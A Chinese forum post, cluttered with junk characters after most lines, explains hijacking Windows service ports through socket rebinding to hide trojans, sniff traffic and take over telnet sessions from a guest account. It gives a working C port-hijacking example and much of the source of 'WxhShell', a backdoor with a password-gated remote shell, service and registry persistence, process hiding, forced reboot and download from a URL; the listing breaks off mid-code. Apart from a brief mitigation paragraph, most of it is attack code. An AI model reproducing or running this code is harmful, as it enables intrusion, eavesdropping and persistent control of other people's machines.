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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r}*2~;:pW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <C CEqY 4  
9%\q*  
  saddr.sin_family = AF_INET;   ;h  
.bL{fBTT~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LR9dQ=fHS  
ps<JKHC/c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |mmIu_  
?P"ht  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m;Sw`nw?  
-R6z/P (}  
  这意味着什么?意味着可以进行如下的攻击: ?*}V>h 8m)  
Z(Q?epyT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p?Yovckm  
o^DiIo or  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yDy3;*lE  
27,WP-qie  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U R@'J@V#:  
-*?a*q/#nQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,$}v_-:[l  
$lV0TCgba8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \>,{)j q;  
<=19KSGFt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \Sm.]=b r  
m0=CD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E\RQm}Z09  
n:k~\-&WJ  
  #include nX?fj<oR|  
  #include I?F^c6M=  
  #include 3~Ipcr B  
  #include    %li'j|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !f7}5/YC7v  
  int main() 7/aJ?:gX  
  { q;B-np?U  
  WORD wVersionRequested; Y\9uR!0  
  DWORD ret; TS=p8@w}  
  WSADATA wsaData; 6Y}#vZ  
  BOOL val; 2psLX  
  SOCKADDR_IN saddr; LZ\}Kgi(!T  
  SOCKADDR_IN scaddr; qx`*]lX  
  int err; ,Sz*]X  
  SOCKET s;  /H!I90  
  SOCKET sc; q/%f2U%4:  
  int caddsize; 6S`eN\s  
  HANDLE mt; 9^Wj<  
  DWORD tid;   5F <zW-;  
  wVersionRequested = MAKEWORD( 2, 2 ); pN%L3?2  
  err = WSAStartup( wVersionRequested, &wsaData ); >rYP}k  
  if ( err != 0 ) { ]u2! )vZh'  
  printf("error!WSAStartup failed!\n"); h-jea1m  
  return -1; G4<'G c  
  } ;QgJw2G  
  saddr.sin_family = AF_INET; =b9?r  
   wU+ofj; +I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !;iySRZr  
skZxR5v3~L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =xa`)#4(  
  saddr.sin_port = htons(23); \[Rh\v&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cB?HMLbG>  
  {  >cSc   
  printf("error!socket failed!\n"); >`s2s@Mx  
  return -1; A")B<BK  
  } jOEb1  
  val = TRUE; !:e}d+F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h'kgL~+$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #^Sd r-   
  { :ykQ[d`:|  
  printf("error!setsockopt failed!\n"); YSv\T '3  
  return -1; HjV83S;  
  } :K2N7?shA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q1s`d?P/`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &t%ICz&3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /r}t  
E!3W_:Bs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WR~uy|mX  
  { G%rK{h  
  ret=GetLastError(); (x?A#o>%  
  printf("error!bind failed!\n"); \JN<"/  
  return -1; ,bJZs-P0  
  } 1 ht4LRFi  
  listen(s,2); nm\n\j~  
  while(1) xNq&_oY7  
  { 3- LO  
  caddsize = sizeof(scaddr); ~u}[VP  
  //接受连接请求 wm@1jLjrQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WWq)Cw R  
  if(sc!=INVALID_SOCKET) #2x\d  
  { ~Bj-n6QDE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !;fkc0&!  
  if(mt==NULL)  bQ  
  { (:E^} &A  
  printf("Thread Creat Failed!\n"); Jq?ai8  
  break; "kf7??Z  
  } m,*t}j0 7  
  } 1Pn!{ bU3@  
  CloseHandle(mt); ;~/  
  } yUNl)E  
  closesocket(s); vxbO>c   
  WSACleanup(); V-J\!CHX  
  return 0; #T !YFMh;  
  }   |{ *ce<ip5  
  DWORD WINAPI ClientThread(LPVOID lpParam) }$g5:k!  
  { 0jj }jw  
  SOCKET ss = (SOCKET)lpParam; Hhfqb"2on  
  SOCKET sc; 80:na7$)#  
  unsigned char buf[4096]; Q"QrbU  
  SOCKADDR_IN saddr; 5#WZXhlc}  
  long num; =EV8~hMyqh  
  DWORD val; )+\e+Ad}H  
  DWORD ret; MO/l(wO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L`];i8=I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }Y<(1w  
  saddr.sin_family = AF_INET; 5_=&U-? H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -FE5sW  
  saddr.sin_port = htons(23); KDHR} `  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xa!@$w=U&  
  { 6,cyi|s  
  printf("error!socket failed!\n"); w3,QT}WvY  
  return -1; S{ fNeK  
  } c3K(mM:  
  val = 100; E/5w H/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kd^ ._  
  { 9J l9\y9  
  ret = GetLastError(); G0a UZCw  
  return -1; @bD,^3U  
  } dR $@vDm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {Ivu"<`L3  
  { ~EX/IIa{  
  ret = GetLastError(); B4U+q|OD#  
  return -1; dL[mX .j"  
  } 5r`g6@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ! =|{  
  { Udd|.JRd  
  printf("error!socket connect failed!\n"); 5n?fZ?6(  
  closesocket(sc); 6;5}% B:#h  
  closesocket(ss); xr.fZMOh4  
  return -1; =BNmuAY7  
  } #l{qb]n]  
  while(1) *-` /A  
  { CUY2eQJ{U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %Ix^Xb0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2/(gf[elX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tPFV6n i  
  num = recv(ss,buf,4096,0); ;QW)tv.y  
  if(num>0) 3%k@,Vvt  
  send(sc,buf,num,0); FnL~8otPF'  
  else if(num==0) |A0kbC.  
  break; Wp T.25  
  num = recv(sc,buf,4096,0); syBYH5  
  if(num>0) /XnI>  
  send(ss,buf,num,0); IsnC_"f  
  else if(num==0) se7_:0+w  
  break; L3i\06M  
  } dHd{9ftyF  
  closesocket(ss); B#sc!eLmU&  
  closesocket(sc); qmJFXnf  
  return 0 ; %o*afd  
  } H |75,!<  
]$KH78MTW  
/5zzzaj {  
========================================================== 7F.>M  
#WfJz}P,!  
下边附上一个代码,,WXhSHELL sF(U?)48  
8Ck:c45v  
========================================================== $6ITa}o  
KRm4r  
#include "stdafx.h" >Li ~Og@  
[wIyW/+  
#include <stdio.h> >(d+E\!A  
#include <string.h> vhKeW(z  
#include <windows.h> 1~ZDHfd5  
#include <winsock2.h> ^c.b@BE  
#include <winsvc.h> Q_M2!qj  
#include <urlmon.h> *>Om3[D  
>TK`s@jdSV  
#pragma comment (lib, "Ws2_32.lib") [o> /2  
#pragma comment (lib, "urlmon.lib") (Tc ~  
1!BV]&,[  
#define MAX_USER   100 // 最大客户端连接数 w;{k\=W3Ff  
#define BUF_SOCK   200 // sock buffer zg|yW6l)9  
#define KEY_BUFF   255 // 输入 buffer 2lXsD;[  
"52wa<MV J  
#define REBOOT     0   // 重启 pOw4H67  
#define SHUTDOWN   1   // 关机 }]tSWVb*  
0H;dA1  
#define DEF_PORT   5000 // 监听端口 =XudL^GF  
Awe\KJ^`  
#define REG_LEN     16   // 注册表键长度 Auv/w}zrr  
#define SVC_LEN     80   // NT服务名长度 ?Cmb3pX^\  
!)_5z<  
// 从dll定义API hq\KSFP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x"_f$,:!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YHCXVu<.b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y 0M&Bh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0D 0#*J  
<6- (a;T!7  
// wxhshell配置信息 ,cgC_ %  
struct WSCFG { [yjC@docH  
  int ws_port;         // 监听端口 iY.~N#Q  
  char ws_passstr[REG_LEN]; // 口令 T73saeN  
  int ws_autoins;       // 安装标记, 1=yes 0=no xI_WkoI  
  char ws_regname[REG_LEN]; // 注册表键名 cC WOG d  
  char ws_svcname[REG_LEN]; // 服务名 -hhE`Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E39:}_IV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >-+MWu=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lL%7lO   
int ws_downexe;       // 下载执行标记, 1=yes 0=no G{ F>=z"(l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r_ r+&4n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2c9@n9Vx3a  
{zmo7~=  
}; qY#*zx  
c|ZZ+2IYd  
// default Wxhshell configuration _VR4 |)1g  
struct WSCFG wscfg={DEF_PORT, x{Gih 1  
    "xuhuanlingzhe", 'KyT]OObS  
    1, |oO0%#1H  
    "Wxhshell", $m{\<A  
    "Wxhshell", Wpj.G  
            "WxhShell Service", nc@ul')  
    "Wrsky Windows CmdShell Service", x-Xb4?{  
    "Please Input Your Password: ", 6^|bKoN/ f  
  1, "B)DX*-\?  
  "http://www.wrsky.com/wxhshell.exe", QZQ@C#PR;  
  "Wxhshell.exe" ;|9VPv/  
    }; o)1wF X  
lywcT! <  
// 消息定义模块 1\zI#"b ^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zj`eR\7~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1mA)=hu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T|9Yo=UK%  
char *msg_ws_ext="\n\rExit."; VO++(G)  
char *msg_ws_end="\n\rQuit."; vP&*(WfO)  
char *msg_ws_boot="\n\rReboot..."; t"RgEH@  
char *msg_ws_poff="\n\rShutdown..."; X2sK<Qluql  
char *msg_ws_down="\n\rSave to "; <J`_Qc8C  
{"4t`dM  
char *msg_ws_err="\n\rErr!"; gxt2Mq;q~}  
char *msg_ws_ok="\n\rOK!"; SHz& o[u  
a$;+-Y  
char ExeFile[MAX_PATH]; :gQc@)jZ(*  
int nUser = 0; kl2]#G(  
HANDLE handles[MAX_USER]; x40R)Led  
int OsIsNt; ?e&CbVc4  
P\SD_8  
SERVICE_STATUS       serviceStatus; QC ?8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oHeo]<Fbv  
'fK_J}+P  
// 函数声明 )Tb{O  
int Install(void); 6jF~zI^  
int Uninstall(void); 1F[; )@  
int DownloadFile(char *sURL, SOCKET wsh); nJ2l$J<  
int Boot(int flag); a$9UUH-|  
void HideProc(void); azOp53zR  
int GetOsVer(void); YXD1B`23  
int Wxhshell(SOCKET wsl); Eb{TKz?  
void TalkWithClient(void *cs); ;O5NZa!.73  
int CmdShell(SOCKET sock); j7"E0Wc^o_  
int StartFromService(void); ~zYp(#0op  
int StartWxhshell(LPSTR lpCmdLine); 'HOcK8}b  
E*RP8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hkW"D<i i-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Ko0zz|R/  
%}$6#5"';  
// 数据结构和表定义 .fQDj{  
SERVICE_TABLE_ENTRY DispatchTable[] = TzX>d<x  
{ Vvv -f  
{wscfg.ws_svcname, NTServiceMain}, }8x[  
{NULL, NULL} Ep0Aogp29  
}; N}Q,  
C-4I e  
// 自我安装 b\^Sz{  
int Install(void) )OjbmU!7  
{ UDp"+nS  
  char svExeFile[MAX_PATH]; K8e>sU.  
  HKEY key; fI"`[cA"]  
  strcpy(svExeFile,ExeFile); CGv(dE,G&]  
[nG/>Z]W  
// 如果是win9x系统,修改注册表设为自启动 iW |]-Ba\  
if(!OsIsNt) { /dWuHS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j}h50*6KO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a&Z|3+ZA  
  RegCloseKey(key); m=%W<8[V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 94K ;=5h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z.YsxbH3  
  RegCloseKey(key); #Oe=G:+A  
  return 0; =E |[8 U)  
    } ym,S /Uz  
  } ]YOQIzkL4}  
} BB>7%~3f  
else { #yU4X\oO  
+Pa!pj/< z  
// 如果是NT以上系统,安装为系统服务 ?]paAP;4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kz^aW  
if (schSCManager!=0) 1b_ ->_9  
{ z|pH>R?:  
  SC_HANDLE schService = CreateService 7a@V2cr@  
  ( ,ew<T{PL  
  schSCManager, ",~3&wx  
  wscfg.ws_svcname, EE%OD~u&9#  
  wscfg.ws_svcdisp, ?$r+#'asd(  
  SERVICE_ALL_ACCESS, 3&2,[G04  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U ][.ioc  
  SERVICE_AUTO_START, bF B;N+>  
  SERVICE_ERROR_NORMAL, *23  
  svExeFile, q)@.f.  
  NULL, b*p,s9k7  
  NULL, av`b8cGg  
  NULL, zb;2xTH+  
  NULL, 4tq>Lx^5U  
  NULL EH,uX{`e  
  ); YW/<. 0rI  
  if (schService!=0) KP:O]520  
  { U*6-Y%7  
  CloseServiceHandle(schService); e=2;z  
  CloseServiceHandle(schSCManager); Ulktd^A\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dq-h`lh!D#  
  strcat(svExeFile,wscfg.ws_svcname); =Oo*7|Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KJ(zLwQ:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6^ /C+zuX  
  RegCloseKey(key); }n:-nB4  
  return 0; tQwbIX-7/  
    } *DG*&Me  
  } nS4~1a  
  CloseServiceHandle(schSCManager); } 8r+&e  
} TFM}P  
} "KFCA9u-  
<@zOdW|{:  
return 1; Gjv'$O2_  
} \Dt0 } ?;k  
% yJs"%  
// 自我卸载 m{V @Om  
int Uninstall(void) "BzRL g!J  
{ A:p0p^*  
  HKEY key; E6@+w.VVO  
:uI}"Bp  
if(!OsIsNt) { <|m"Q!f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KDn`XCnk,  
  RegDeleteValue(key,wscfg.ws_regname); Sfvi|kZX  
  RegCloseKey(key); *b7v)d#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hcN$p2-  
  RegDeleteValue(key,wscfg.ws_regname); _L: /2  
  RegCloseKey(key); *$hO C%(  
  return 0; >,~JQ%1  
  } xJO[pT v  
} G`)I _uO  
} [&Qrk8EN  
else { !Noabt  
8fDnDA.e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dnd  
if (schSCManager!=0) s"sX# l[J  
{ q.g!WLiI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M8g=t[\  
  if (schService!=0) *XNvb ^<  
  { MJ7!f+!5  
  if(DeleteService(schService)!=0) { H=wmN0s{<  
  CloseServiceHandle(schService); 8:0l5cZE  
  CloseServiceHandle(schSCManager); /}M@MbGMM  
  return 0; Rf8|-G-}#  
  } B!8]\D  
  CloseServiceHandle(schService); [IHT)%>E8&  
  } !_c<j4O  
  CloseServiceHandle(schSCManager); 6.By)L  
} 3Um\?fj>}(  
} o >W}1_  
?j $z[_K  
return 1; ,q:6[~n  
} : ;d&m  
#s]]\  
// 从指定url下载文件 #}B~V3UD  
int DownloadFile(char *sURL, SOCKET wsh) b%v1]a[  
{ Q2Q`g`*O:  
  HRESULT hr; }>p)|Y T"/  
char seps[]= "/"; 3g5i5 G\  
char *token; qed; UyN  
char *file; =Qz 8"rt#  
char myURL[MAX_PATH]; zlXkD~GV  
char myFILE[MAX_PATH]; 3z5,4ps  
<rCl  
strcpy(myURL,sURL); np)-Yzr  
  token=strtok(myURL,seps); a Y{E'K=  
  while(token!=NULL) S:oZ&   
  { P}aJvFlmP  
    file=token; T!/$ @]%\7  
  token=strtok(NULL,seps); Z9!goI  
  } y`\/eX  
.oSKSld  
GetCurrentDirectory(MAX_PATH,myFILE); @NV$!FB<  
strcat(myFILE, "\\"); l~uRZLx  
strcat(myFILE, file); ~(yh0V  
  send(wsh,myFILE,strlen(myFILE),0); a_pkUOu6  
send(wsh,"...",3,0); sG^b_3o)A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :v&GA s6H  
  if(hr==S_OK) _ b#9^2o  
return 0; Pp26UWW  
else Omh(UHZBB  
return 1; mX"z$  
(6.0gB$aTu  
} (s"_NUj6  
dnN"  
// 系统电源模块 JQ.ZAhv  
int Boot(int flag) nYE_WXY3V  
{ qk:F6kL\`  
  HANDLE hToken; OP<@Xz  
  TOKEN_PRIVILEGES tkp; wRLkO/Fw  
Kj'm<]u  
  if(OsIsNt) { Gb8LW,$IT-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e[{LNM{/#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C \}m_`MR  
    tkp.PrivilegeCount = 1; ty7a&>G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ar>Om!]=v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;E##bdSCA  
if(flag==REBOOT) { wd1*wt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }3vB_0[r  
  return 0; &jg,8  
} *h]qh20t  
else { N|Rlb5\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b z<wihZj  
  return 0; 8U=M.FFp  
} %PyU3  
  } 3 :f5xF  
  else { czedn_}%Q  
if(flag==REBOOT) { 5oORwOP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N7Ne  
  return 0; fC(lY4,H3R  
} s7&% _!4  
else { =Ybbh`$<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |w\D6d]o  
  return 0; hJaqW'S  
} bt~-=\  
} 5"@<7/2qI  
{uw'7 d/  
return 1; bZ%[ON5OY  
} NB16O !r  
)u[ 2TI1  
// win9x进程隐藏模块 abI[J]T9G  
void HideProc(void) GJ?rqmbL  
{ Pyk~V)~M  
ku`'w;5jT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v< ;, x  
  if ( hKernel != NULL ) sPbtv[bC  
  { SD TX0v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $\0j:<o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :X@;XEol~  
    FreeLibrary(hKernel); "I_3!Yu  
  } E{lq@it32p  
n>!E ]  
return; EStHl(DUPq  
} f~"3#MaV  
ZXr]V'Q?  
// 获取操作系统版本 r;S%BFMJS  
int GetOsVer(void) #JTi]U6`  
{ U:8^>_  
  OSVERSIONINFO winfo; 6G1Z"9<2*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~r@'kUXKK  
  GetVersionEx(&winfo); B?TAS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nz$O D_]  
  return 1; l`,`N+FG  
  else {J|P2a[  
  return 0; (-"A5(X:/  
} %yptML9  
,riwxl5*E/  
// 客户端句柄模块 B#q5Ut  
int Wxhshell(SOCKET wsl) z RsA[F#  
{ > %d]"]  
  SOCKET wsh; ?J)%.~!  
  struct sockaddr_in client; 9lny[{9  
  DWORD myID; )Cx8?\/c=x  
o@ ;w!'  
  while(nUser<MAX_USER) R_Eu*Qu j  
{ V+D "_  
  int nSize=sizeof(client); >} aykz*g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W*8D@a0 _  
  if(wsh==INVALID_SOCKET) return 1; 1eT|  
B&L{/.v_z\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tD>m%1'&  
if(handles[nUser]==0) U7:~@eYy  
  closesocket(wsh); y@hdN=-  
else A7: oq7b  
  nUser++; Z$[A.gD4  
  } Up/1c:<J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uw]e$,x?  
$H5PB' b  
  return 0; `D#l(gZ  
} 6"%[s@C  
e {c.4'q  
// 关闭 socket #|$7. e  
void CloseIt(SOCKET wsh) oNiS"\t  
{ !3T x\a`?/  
closesocket(wsh); %/U Q0d~b  
nUser--; x<= ;=893  
ExitThread(0); SuuWrt}5  
} "~FXmKcX  
cYGZZC8|K  
// 客户端请求句柄 +>I4@1qC-|  
void TalkWithClient(void *cs) rJNf&x%6  
{ GWP"i77y0s  
kZn!]TseN  
  SOCKET wsh=(SOCKET)cs; JgK?j&!hs:  
  char pwd[SVC_LEN]; s]B^Sz=  
  char cmd[KEY_BUFF]; ',O@0L]L  
char chr[1]; f \4Qp  
int i,j; wmoOp;C  
40@KL$B=  
  while (nUser < MAX_USER) { m]u#Dm7h  
4.VEE~sH$  
if(wscfg.ws_passstr) { AM Rj N;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6^ KDc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xi0/Wb h\  
  //ZeroMemory(pwd,KEY_BUFF); m"v` E7G  
      i=0; Ufo- AeQo  
  while(i<SVC_LEN) { V=S`%1dLN  
8#oF7eE  
  // 设置超时 "@ox=  
  fd_set FdRead; ] c'owj  
  struct timeval TimeOut; PUlb(3p `  
  FD_ZERO(&FdRead); B,gQeW&  
  FD_SET(wsh,&FdRead); o}Xp-P   
  TimeOut.tv_sec=8; 2y<d@z:K  
  TimeOut.tv_usec=0; bNL E=#ro  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y ,}p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yp :yS  
`|PxEif+J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ 4&_$e!  
  pwd=chr[0]; Cg&1  
  if(chr[0]==0xd || chr[0]==0xa) { wOa_"  
  pwd=0; 3K#e]zoI  
  break; 6 a$%  
  } tB1Qr**  
  i++; _IY)<'d  
    } tKJ) 'v?  
f[ER`!  
  // 如果是非法用户,关闭 socket tv;3~Y0i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -7+Fb^"L  
} X^@d@xU4v  
}B]FHpi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pXQ&2s$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Jkj/n'  
E8-p ,e,  
while(1) { "#m*`n  
%/>_o{"hw  
  ZeroMemory(cmd,KEY_BUFF); q#WqU8~Y  
)s^XVs.-  
      // 自动支持客户端 telnet标准   L\"=H4r  
  j=0; s5z@`M5'm  
  while(j<KEY_BUFF) { :;|x'[JoE?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HX <;=m  
  cmd[j]=chr[0]; +SP5+"y@  
  if(chr[0]==0xa || chr[0]==0xd) { mybDK'EW  
  cmd[j]=0; 1}'Jbj"/  
  break; QeQbO  
  } X5<L  
  j++; bqLv81V  
    } Ads^y`b  
Bq2}nDP  
  // 下载文件 LLU>c]a  
  if(strstr(cmd,"http://")) { d3 N %V.w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6zNN 8  
  if(DownloadFile(cmd,wsh)) h{TnvI/"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ({i|  
  else q$HBPR4h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RP(FV<ot  
  } C3memimN  
  else { )<Yy.Z_:DC  
jEI!t^#  
    switch(cmd[0]) { .^v7LF]Q  
  ?Ts Z_  
  // 帮助 S63L>p|ml  
  case '?': { 9GQTe1[t4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GvVuFS>y  
    break; :Z+(H+lyZ  
  } 5 WAsEP  
  // 安装 Dic(G[  
  case 'i': { Uz62!)  
    if(Install()) $[1 M2>[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Qh4=+jwqn  
    else y\%4Dir  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t71 0sWh{  
    break; 4 A  
    } F 'h[g.\}  
  // 卸载 ho:,~ A;k  
  case 'r': { a<HM|dcst  
    if(Uninstall()) ^7_<rs   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'i@Y #F%D  
    else Lv5AtZl}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^^%*2^  
    break; 7"S|GEs:  
    } kPxrI=  
  // 显示 wxhshell 所在路径 ;aFQP:l/  
  case 'p': { RnTPU`  
    char svExeFile[MAX_PATH]; O=+C Kx@  
    strcpy(svExeFile,"\n\r"); *]H ./a:1  
      strcat(svExeFile,ExeFile); _R8-Hj E  
        send(wsh,svExeFile,strlen(svExeFile),0); L Xx 3  
    break; !}vz_6)  
    } 8>epKFEg  
  // 重启 nH_A`m3%/  
  case 'b': { +q2l,{|?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <Z0Tz6/j,  
    if(Boot(REBOOT)) iI _Fbw8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cf10 ud   
    else { BzgDhDj  
    closesocket(wsh); `"D7XC0x  
    ExitThread(0); S5uV\Y/A  
    } UkGUxQ,GU  
    break; _]Hn:O"o  
    } 2[:`w),.  
  // 关机 _PRm4 :  
  case 'd': { }ShZ4 xMz  
